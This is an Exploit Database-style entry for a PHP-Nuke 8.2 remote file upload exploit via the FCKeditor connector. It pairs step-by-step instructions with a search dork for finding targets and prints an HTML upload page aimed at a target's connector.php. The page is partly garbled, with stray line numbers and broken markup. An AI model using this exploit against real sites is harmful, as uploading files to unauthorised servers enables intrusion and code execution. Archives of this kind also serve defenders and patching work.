PHP-Nuke 8.2 – Arbitrary File Upload

Exploit Database
130 阅读

作者： Net.Edit0r

日期： 2010-06-26
类别：
- webapps
平台：
- aix
来源：https://www.exploit-db.com/exploits/14058/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

# Title : PHPnuke 8.2 Remote Upload File Exploit

# Author : Net.Edit0r

# Location : Iran

# Dork : "POWERED BY PHPNUKE.IR"

# Category : Remote

# Email : Net.Edit0r@Att.net ~ Black.Hat.TM@Gmail.com

# Special Thanks To :NetQurd (For help in finding bugs) > Email

:NetQurd@Live.CoM

[~]######################################### InformatioN

#############################################[~]

[~] 1.Save code html format

[~] 2.Search Target.com

[~] 3.Edit and replace & Target

[~] 4.Save Html Page

[~] 5.Open Page Html (Edite Source)

[~] 6.Set Format PHP

[~] 7.Choose File & Upload

[~] 8.Formats can be uploaded (Html.Htm.Jpg.gif.Xml....)

[~] 9.Target.com/images/uploads/File/File Name

[~]######################################### ExploiT

#############################################[~]

[~] 1. Exploit File :

<!--

* FCKeditor - The text editor for Internet - http://www.Sun

* Test page for the File Browser connectors.

-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<head>

<title>FCKeditor - By Net.Edit0r</title>

</head>

<body>

<table height="100%" cellspacing="0" cellpadding="0" width="100%"

border="0">

<tr>

<td>

<tr>

<td>

Connector:<br />

<option value="cfm/connector.cfm">ColdFusion</option>

<option value="lasso/connector.lasso">Lasso</option>

<option value="

http://Target.com/includes/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php

">PHP</option>

<option value="py/connector.py">Python</option>

</select>

</td>

<td>

</td>

<td>

Current Folder<br />

<td>

</td>

<td>

Resource Type<br />

<option value="Image">Image</option>

<option value="Flash">Flash</option>

<option value="Media">Media</option>

<option value="Invalid">Invalid Type (for testing)</option>

</select>

</td>

</tr>

</table>

<br />

<tr>

<a href="https://www.exploit-db.com/exploits/14058/#" onclick="GetFolders();">Get Folders</a></td>

<td>

</td>

<a href="https://www.exploit-db.com/exploits/14058/#" onclick="GetFoldersAndFiles();">Get Folders and Files</a></td>

<td>

</td>

<a href="https://www.exploit-db.com/exploits/14058/#" onclick="CreateFolder();">Create Folder</a></td>

<td>

</td>

<form id="frmUpload" action="" target="eRunningFrame" method="post"

enctype="multipart/form-data">

File Upload<br />

</form>

</td>

</tr>

</table>

<br />

URL: <span id="eUrl"></span>

</td>

</tr>

<tr>

width="100%"

height="100%"></iframe>

</td>

</tr>

</table>

</body>

</html>

[~]######################################## ThankS To ...

#########################################[~]

[~] Special Thanks To My Best FriendS :

NetQard , B3hz4d , Raiden , ~[ CriMe ]~ , † CoNstaNtine † , _R3v4l_ ,

~~XTerror~~ , __l2o5v4__ , Zend

[~] IRANIAN Young HackerZ

[~] GreetZ : Sun-Army.Org , Phc.Ir , Dark-tunnel.com , AttackerZ.IR

[~]######################################### FinisH :D

#############################################[~]